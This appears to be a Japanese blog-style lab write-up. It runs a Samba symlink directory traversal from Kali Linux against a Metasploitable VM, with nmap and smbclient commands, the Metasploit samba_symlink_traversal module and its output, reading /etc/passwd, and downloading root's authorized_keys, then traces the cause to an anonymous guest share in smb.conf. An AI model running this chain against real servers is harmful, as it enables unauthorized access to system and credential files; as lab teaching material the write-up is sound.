ディレクトリトラバーサルの実験
ディレクトリトラバーサル
これは本来アクセスしてほしくないディレクトリや
ファイルの位置を表示させ不正アクセスするというもの
詳しくは
を参考に
KaliLinux と Metasploitableで実験
nmap -sV -O -p- 192.168.1.137
により
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
の結果が途中にでてくることから
Samba が稼働しているので
共有サービスがあるのが確認できる
まず
smbclient コマンドで情報を集める
を参考に
-L オプションを使うことで利用可能なサービス一覧をみれる
smbclient -L //192.168.1.137
を実行すると
Enter WORKGROUP\root's password:
となるので Enter
結果は
Anonymous login successful Sharename Type Comment --------- ---- ------- print$ Disk Printer Drivers tmp Disk oh noes! opt Disk IPC$ IPC IPC Service (metasploitable server (Samba 3.0.20-Debian)) ADMIN$ IPC IPC Service (metasploitable server (Samba 3.0.20-Debian)) Reconnecting with SMB1 for workgroup listing. Anonymous login successful Server Comment --------- ------- Workgroup Master --------- ------- WORKGROUP RASPBERRYPI
となる
この中で怪しいのは
tmp Disk oh noes!
の部分
Sambaには共有フォルダ外へのシンボリックリンクの設定があり
これは
smb.conf の wide links で設定する
この部分が yes なら有効になっているが
最新のものならデフォルトで no になっている
例として
共有ファイルが 777権限で
これにシンボリックリンクがはってあるとき
wide links が yes ならアクセスできるユーザは
誰でも実行できる
Metasploit には
wide links が yes なら
ディレクトリトラバーサルを実現するモジュールがあるので
これを実行
msfconsole -q
でバナー省略で起動
use auxiliary/admin/smb/samba_symlink_traversal set rhost 192.168.1.137 set smbshare tmp exploit
で実行
set rhost で攻撃対象のIPを指定
set smbshare で 対象とする Sharename を指定
結果として
[*] Running module against 192.168.1.137 [*] 192.168.1.137:445 - Connecting to the server... [*] 192.168.1.137:445 - Trying to mount writeable share 'tmp'... [*] 192.168.1.137:445 - Trying to link 'rootfs' to the root filesystem... [*] 192.168.1.137:445 - Now access the following share to browse the root filesystem: [*] 192.168.1.137:445 - \\192.168.1.137\tmp\rootfs\ [*] Auxiliary module execution completed
により tmp 共有フォルダがマウントされているのがわかる
これで smbclient コマンドで
共有フォルダにアクセスできるようになる
一度
exit
で抜けて
smbclient //192.168.1.137/tmp
というように
//ホスト名/共有名
でアクセスすることができる
Enter WORKGROUP\root's password:
となるので Enter でOK
これで help コマンドで使用できるコマンドを調べることができる
この状態で
cd rootfs\
とすると rootfs であることがわかる
パスワードファイルの閲覧をするには
cd etc\ more passwd
で閲覧ができる
ただし root 権限ではないので
shadow を閲覧しようとしてもなにも表示されない
moreコマンドについては
【more】Linuxでファイルをページ単位で表示するコマンド
を参考に
more の画面から抜けるには q を押せばOK
次に get コマンドでroot ユーザの ssh 公開鍵のダウンロード
cd \rootfs\root\.ssh get authorized_keys exit
これで
KaliLinux のカレントディレクトリにダウンロードされる
これらの原因をみるには一度 metasplotable にログインし
設定を確認
ssh msfadmin@192.168.1.137
で ssh でパスワード認証でログイン
The authenticity of host '192.168.1.137 (192.168.1.137)' can't be established. RSA key fingerprint is SHA256:BQHm5EoHX9GCiOLuVscegPXLQOsuPs+E9d/rrJB84rk. Are you sure you want to continue connecting (yes/no/[fingerprint])?
となるので
yes を入力
msfadmin@192.168.1.137's password:
となるので
パスワードは mfsadmin を入力
これでログインできるので
vim /etc/samba/smb.conf
でファイルを開き
shift + g で最終行に移動
なお vim の操作については
Vim初心者に捧ぐ実践的入門
を参考に
ほかにも vim 使い方で検索するとでてくる
[tmp] comment = oh noes! read only = no locking = no path = /tmp guest ok = yes [opt] read only = yes locking = no path = /tmp
となっていて
guest ok = yes
により認証なしの共有フォルダになっているのが原因